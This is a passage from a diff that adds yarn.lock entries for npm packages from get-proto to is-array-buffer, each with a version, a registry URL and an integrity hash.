+  integrity sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==
+
+get-proto@^1.0.0, get-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1"
+  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-object-atoms "^1.0.0"
+
+get-stream@^6.0.0:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7"
+  integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==
+
+get-symbol-description@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz#7bdd54e0befe8ffc9f3b4e203220d9f1e881b6ee"
+  integrity sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+
+glob-parent@^5.1.2, glob-parent@~5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
+  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
+  dependencies:
+    is-glob "^4.0.1"
+
+glob-parent@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3"
+  integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==
+  dependencies:
+    is-glob "^4.0.3"
+
+glob-to-regexp@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
+  integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
+
+glob@^10.3.10:
+  version "10.4.5"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-10.4.5.tgz#f4d9f0b90ffdbab09c9d77f5f29b4262517b0956"
+  integrity sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^3.1.2"
+    minimatch "^9.0.4"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^1.11.1"
+
+glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6:
+  version "7.2.3"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
+  integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.1.1"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+global-modules@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780"
+  integrity sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==
+  dependencies:
+    global-prefix "^3.0.0"
+
+global-prefix@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97"
+  integrity sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==
+  dependencies:
+    ini "^1.3.5"
+    kind-of "^6.0.2"
+    which "^1.3.1"
+
+globals@^11.1.0:
+  version "11.12.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
+  integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
+
+globals@^13.19.0:
+  version "13.24.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-13.24.0.tgz#8432a19d78ce0c1e833949c36adb345400bb1171"
+  integrity sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==
+  dependencies:
+    type-fest "^0.20.2"
+
+globalthis@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236"
+  integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==
+  dependencies:
+    define-properties "^1.2.1"
+    gopd "^1.0.1"
+
+globby@^11.0.4, globby@^11.1.0:
+  version "11.1.0"
+  resolved "https://registry.yarnpkg.com/globby/-/globby-11.1.0.tgz#bd4be98bb042f83d796f7e3811991fbe82a0d34b"
+  integrity sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==
+  dependencies:
+    array-union "^2.1.0"
+    dir-glob "^3.0.1"
+    fast-glob "^3.2.9"
+    ignore "^5.2.0"
+    merge2 "^1.4.1"
+    slash "^3.0.0"
+
+gopd@^1.0.1, gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+
+graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.11, graceful-fs@^4.2.4, graceful-fs@^4.2.6, graceful-fs@^4.2.9:
+  version "4.2.11"
+  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
+
+graphemer@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/graphemer/-/graphemer-1.4.0.tgz#fb2f1d55e0e3a1849aeffc90c4fa0dd53a0e66c6"
+  integrity sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==
+
+gzip-size@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-6.0.0.tgz#065367fd50c239c0671cbcbad5be3e2eeb10e462"
+  integrity sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==
+  dependencies:
+    duplexer "^0.1.2"
+
+handle-thing@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/handle-thing/-/handle-thing-2.0.1.tgz#857f79ce359580c340d43081cc648970d0bb234e"
+  integrity sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==
+
+harmony-reflect@^1.4.6:
+  version "1.6.2"
+  resolved "https://registry.yarnpkg.com/harmony-reflect/-/harmony-reflect-1.6.2.tgz#31ecbd32e648a34d030d86adb67d4d47547fe710"
+  integrity sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==
+
+has-ansi@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-0.1.0.tgz#84f265aae8c0e6a88a12d7022894b7568894c62e"
+  integrity sha512-1YsTg1fk2/6JToQhtZkArMkurq8UoWU1Qe0aR3VUHjgij4nOylSWLWAtBXoZ4/dXOmugfLGm1c+QhuD0JyedFA==
+  dependencies:
+    ansi-regex "^0.2.0"
+
+has-bigints@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.1.0.tgz#28607e965ac967e03cd2a2c70a2636a1edad49fe"
+  integrity sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==
+
+has-flag@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
+  integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5"
+  integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==
+  dependencies:
+    dunder-proto "^1.0.0"
+
+has-symbols@^1.0.1, has-symbols@^1.0.3, has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+
+has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
+  dependencies:
+    has-symbols "^1.0.3"
+
+hasown@^2.0.0, hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+  dependencies:
+    function-bind "^1.1.2"
+
+he@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
+  integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
+
+hoopy@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/hoopy/-/hoopy-0.1.4.tgz#609207d661100033a9a9402ad3dea677381c1b1d"
+  integrity sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==
+
+hpack.js@^2.1.6:
+  version "2.1.6"
+  resolved "https://registry.yarnpkg.com/hpack.js/-/hpack.js-2.1.6.tgz#87774c0949e513f42e84575b3c45681fade2a0b2"
+  integrity sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==
+  dependencies:
+    inherits "^2.0.1"
+    obuf "^1.0.0"
+    readable-stream "^2.0.1"
+    wbuf "^1.1.0"
+
+html-encoding-sniffer@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz#42a6dc4fd33f00281176e8b23759ca4e4fa185f3"
+  integrity sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==
+  dependencies:
+    whatwg-encoding "^1.0.5"
+
+html-entities@^2.1.0, html-entities@^2.3.2:
+  version "2.5.2"
+  resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-2.5.2.tgz#201a3cf95d3a15be7099521620d19dfb4f65359f"
+  integrity sha512-K//PSRMQk4FZ78Kyau+mZurHn3FH0Vwr+H36eE0rPbeYkRRi9YxceYPhuN60UwWorxyKHhqoAJl2OFKa4BVtaA==
+
+html-escaper@^2.0.0:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
+  integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==
+
+html-minifier-terser@^6.0.2:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz#bfc818934cc07918f6b3669f5774ecdfd48f32ab"
+  integrity sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==
+  dependencies:
+    camel-case "^4.1.2"
+    clean-css "^5.2.2"
+    commander "^8.3.0"
+    he "^1.2.0"
+    param-case "^3.0.4"
+    relateurl "^0.2.7"
+    terser "^5.10.0"
+
+html-webpack-plugin@^5.5.0:
+  version "5.6.3"
+  resolved "https://registry.yarnpkg.com/html-webpack-plugin/-/html-webpack-plugin-5.6.3.tgz#a31145f0fee4184d53a794f9513147df1e653685"
+  integrity sha512-QSf1yjtSAsmf7rYBV7XX86uua4W/vkhIt0xNXKbsi2foEeW7vjJQz4bhnpL3xH+l1ryl1680uNv968Z+X6jSYg==
+  dependencies:
+    "@types/html-minifier-terser" "^6.0.0"
+    html-minifier-terser "^6.0.2"
+    lodash "^4.17.21"
+    pretty-error "^4.0.0"
+    tapable "^2.0.0"
+
+htmlparser2@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-6.1.0.tgz#c4d762b6c3371a05dbe65e94ae43a9f845fb8fb7"
+  integrity sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==
+  dependencies:
+    domelementtype "^2.0.1"
+    domhandler "^4.0.0"
+    domutils "^2.5.2"
+    entities "^2.0.0"
+
+http-deceiver@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/http-deceiver/-/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87"
+  integrity sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==
+
+http-errors@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3"
+  integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==
+  dependencies:
+    depd "2.0.0"
+    inherits "2.0.4"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    toidentifier "1.0.1"
+
+http-errors@~1.6.2:
+  version "1.6.3"
+  resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d"
+  integrity sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==
+  dependencies:
+    depd "~1.1.2"
+    inherits "2.0.3"
+    setprototypeof "1.1.0"
+    statuses ">= 1.4.0 < 2"
+
+http-parser-js@>=0.5.1:
+  version "0.5.8"
+  resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.8.tgz#af23090d9ac4e24573de6f6aecc9d84a48bf20e3"
+  integrity sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==
+
+http-proxy-agent@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz#8a8c8ef7f5932ccf953c296ca8291b95aa74aa3a"
+  integrity sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==
+  dependencies:
+    "@tootallnate/once" "1"
+    agent-base "6"
+    debug "4"
+
+http-proxy-middleware@3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-3.0.3.tgz#dc1313c75bd00d81e103823802551ee30130ebd1"
+  integrity sha512-usY0HG5nyDUwtqpiZdETNbmKtw3QQ1jwYFZ9wi5iHzX2BcILwQKtYDJPo7XHTsu5Z0B2Hj3W9NNnbd+AjFWjqg==
+  dependencies:
+    "@types/http-proxy" "^1.17.15"
+    debug "^4.3.6"
+    http-proxy "^1.18.1"
+    is-glob "^4.0.3"
+    is-plain-object "^5.0.0"
+    micromatch "^4.0.8"
+
+http-proxy-middleware@^2.0.3:
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-2.0.7.tgz#915f236d92ae98ef48278a95dedf17e991936ec6"
+  integrity sha512-fgVY8AV7qU7z/MmXJ/rxwbrtQH4jBQ9m7kp3llF0liB7glmFeVZFBepQb32T3y8n8k2+AEYuMPCpinYW+/CuRA==
+  dependencies:
+    "@types/http-proxy" "^1.17.8"
+    http-proxy "^1.18.1"
+    is-glob "^4.0.1"
+    is-plain-obj "^3.0.0"
+    micromatch "^4.0.2"
+
+http-proxy@^1.18.1:
+  version "1.18.1"
+  resolved "https://registry.yarnpkg.com/http-proxy/-/http-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549"
+  integrity sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==
+  dependencies:
+    eventemitter3 "^4.0.0"
+    follow-redirects "^1.0.0"
+    requires-port "^1.0.0"
+
+https-proxy-agent@^5.0.0:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6"
+  integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==
+  dependencies:
+    agent-base "6"
+    debug "4"
+
+human-signals@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0"
+  integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==
+
+iconv-lite@0.4.24:
+  version "0.4.24"
+  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
+  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
+  dependencies:
+    safer-buffer ">= 2.1.2 < 3"
+
+iconv-lite@^0.6.3:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501"
+  integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==
+  dependencies:
+    safer-buffer ">= 2.1.2 < 3.0.0"
+
+icss-utils@^5.0.0, icss-utils@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-5.1.0.tgz#c6be6858abd013d768e98366ae47e25d5887b1ae"
+  integrity sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==
+
+idb@^7.0.1:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/idb/-/idb-7.1.1.tgz#d910ded866d32c7ced9befc5bfdf36f572ced72b"
+  integrity sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==
+
+identity-obj-proxy@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz#94d2bda96084453ef36fbc5aaec37e0f79f1fc14"
+  integrity sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==
+  dependencies:
+    harmony-reflect "^1.4.6"
+
+ignore-styles@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ignore-styles/-/ignore-styles-5.0.1.tgz#b49ef2274bdafcd8a4880a966bfe38d1a0bf4671"
+  integrity sha512-gQQmIznCETPLEzfg1UH4Cs2oRq+HBPl8quroEUNXT8oybEG7/0lqI3dGgDSRry6B9HcCXw3PVkFFS0FF3CMddg==
+
+ignore@^5.2.0:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+immer@^9.0.7:
+  version "9.0.21"
+  resolved "https://registry.yarnpkg.com/immer/-/immer-9.0.21.tgz#1e025ea31a40f24fb064f1fef23e931496330176"
+  integrity sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==
+
+import-fresh@^3.1.0, import-fresh@^3.2.1:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
+  integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+import-local@^3.0.2:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.2.0.tgz#c3d5c745798c02a6f8b897726aba5100186ee260"
+  integrity sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==
+  dependencies:
+    pkg-dir "^4.2.0"
+    resolve-cwd "^3.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
+
+inflight@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+  integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
+  dependencies:
+    once "^1.3.0"
+    wrappy "1"
+
+inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@~2.0.3:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
+  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
+
+inherits@2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
+  integrity sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==
+
+ini@^1.3.5:
+  version "1.3.8"
+  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
+  integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
+
+internal-slot@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961"
+  integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==
+  dependencies:
+    es-errors "^1.3.0"
+    hasown "^2.0.2"
+    side-channel "^1.1.0"
+
+ipaddr.js@1.9.1:
+  version "1.9.1"
+  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
+  integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
+
+ipaddr.js@^2.0.1:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-2.2.0.tgz#d33fa7bac284f4de7af949638c9d68157c6b92e8"
+  integrity sha512-Ag3wB2o37wslZS19hZqorUnrnzSkpOVy+IiiDEiTqNubEYpYuHWIf6K4psgN2ZWKExS4xhVCrRVfb/wfW8fWJA==
+
+is-array-buffer@^3.0.4, is-array-buffer@^3.0.5:
+  version "3.0.5"
